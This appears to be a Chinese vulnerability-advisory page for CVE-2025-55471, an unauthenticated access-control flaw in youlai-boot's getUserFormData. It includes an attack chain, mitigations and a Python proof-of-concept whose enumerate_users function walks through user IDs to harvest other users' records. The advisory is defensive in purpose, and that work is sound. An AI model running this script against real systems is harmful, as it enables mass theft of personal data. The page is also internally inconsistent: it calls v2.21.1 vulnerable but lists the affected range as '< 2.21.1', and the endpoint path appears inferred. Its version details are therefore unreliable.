IPBUF安全漏洞报告
English
CVE-2025-55471 CVSS 7.5 高危

CVE-2025-55471 | youlai-boot getUserFormData 访问控制漏洞导致敏感信息泄露

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-55471
漏洞类型
访问控制
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
youlai-boot

相关标签

访问控制敏感信息泄露youlai-bootAPI安全水平权限绕过高危漏洞

漏洞概述

CVE-2025-55471是youlai-boot v2.21.1中存在的一个高危安全漏洞。该漏洞位于getUserFormData函数中,由于不正确的访问控制机制,允许未授权攻击者访问其他用户的敏感信息。攻击者无需任何认证即可利用此漏洞,通过构造恶意请求获取系统中任意用户的个人数据,包括但不限于用户身份信息、联系方式等敏感内容。此漏洞的CVSS评分为7.5,属于高危级别,对系统机密性造成严重影响。由于该开源项目被广泛应用于企业级微服务开发,此次漏洞可能影响大量使用该框架的Web应用系统。

技术细节

漏洞根因在于youlai-boot的getUserFormData函数缺少对用户身份的有效验证。该函数在处理用户表单数据请求时,未正确校验当前登录用户与请求访问的用户ID之间的关系,导致任何未认证用户均可通过传入目标用户ID参数来获取该用户的敏感表单数据。攻击者可通过分析API接口,构造形如GET /api/user/form/data?userId=xxx的请求,利用遍历或枚举的方式批量获取系统中其他用户的信息。从CVSS向量来看(AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N),该漏洞具有网络可达性、低攻击复杂度、无特权要求、无需用户交互等特征,主要影响数据的机密性。修复方案需在getUserFormData函数中增加基于会话的用户身份校验,确保请求者只能访问自己的数据。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标系统使用的youlai-boot框架版本,确认版本为v2.21.1
STEP 2
步骤2
接口探测:攻击者分析API接口,发现getUserFormData函数可通过/api/user/form/data端点访问
STEP 3
步骤3
漏洞利用:攻击者构造恶意请求,在userId参数中指定目标用户ID,无需任何认证即可发送请求
STEP 4
步骤4
数据窃取:服务器返回目标用户的敏感表单数据,攻击者成功获取其他用户的敏感信息
STEP 5
步骤5
横向扩展:攻击者可通过遍历userId参数值(1,2,3...n)批量窃取系统中所有用户的敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-55471 PoC - youlai-boot Incorrect Access Control # Target: youlai-boot v2.21.1 getUserFormData function # Vulnerability: Allows unauthorized access to other users' sensitive information import requests import json target_url = "http://target-server:8080" # PoC 1: Basic unauthorized access to user form data def exploit_user_form_data(target_url, user_id): """ Exploit the getUserFormData function to retrieve sensitive user data without authentication. """ endpoint = f"{target_url}/api/user/form/data" params = {"userId": user_id} try: response = requests.get(endpoint, params=params, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Successfully retrieved data for user_id: {user_id}") print(f"[+] Response: {json.dumps(data, indent=2, ensure_ascii=False)}") return data else: print(f"[-] Failed to retrieve data. Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None # PoC 2: Enumerate multiple user IDs to harvest sensitive data def enumerate_users(target_url, start_id=1, end_id=100): """ Enumerate user IDs to harvest sensitive information from multiple users. """ print(f"[*] Starting enumeration from user_id {start_id} to {end_id}") harvested_data = [] for user_id in range(start_id, end_id + 1): data = exploit_user_form_data(target_url, user_id) if data: harvested_data.append({"user_id": user_id, "data": data}) return harvested_data # Usage examples if __name__ == "__main__": # Test single user access print("[*] Testing single user access...") exploit_user_form_data(target_url, 1) # Uncomment to enumerate multiple users # print("[*] Starting user enumeration attack...") # all_data = enumerate_users(target_url, 1, 50) # print(f"[*] Harvested data for {len(all_data)} users")

影响范围

youlai-boot < 2.21.1

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)关闭或限制/api/user/form/data端点的公网访问;2)配置Web应用防火墙(WAF)规则,监控和阻止异常的userId参数请求;3)在反向代理层实施访问控制策略;4)增加API请求频率限制和异常行为检测机制;5)密切监控应用日志,排查是否存在批量数据访问的可疑行为。建议尽快应用官方安全补丁或升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表